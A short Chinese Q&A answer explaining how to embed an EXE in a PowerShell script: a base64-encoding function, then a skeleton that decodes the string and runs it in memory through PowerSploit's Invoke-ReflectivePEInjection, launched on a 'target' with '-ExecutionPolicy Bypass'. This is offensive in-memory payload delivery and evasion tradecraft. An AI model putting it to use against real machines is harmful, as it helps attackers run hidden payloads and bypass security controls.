如何在PowerShell脚本中嵌入EXE文件

如题所述

1.将二进制文件进行 base64 编码
可以使用以下函数:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
2. 按如下过程创建一个新的脚本
1.用上一步的方法将 EXE 文件转为字符串;
2.准备 Invoke-ReflectivePEInjection(Powersploit project 的一部分);
3.将字符串转为字节数组;
4.调用 Invoke-ReflectivePEInjection。
所以,二进制文件只是 Powershell 脚本中的一段字符串,在将字符串解码为二进制数组后,就可以调用 Invoke-ReflectivePEInjection 直接在内存中运行。
最后看起来像这样:
# base64 编码的二进制文件
$InputString = '...........'
function Invoke-ReflectivePEInjection
{
......
......
......
}
# 将二进制字符串转为字节数组
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 在内存中运行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
现在就可以在目标上运行脚本了:
powershell -ExecutionPolicy Bypass -File payload.ps1
温馨提示:答案为网友推荐,仅供参考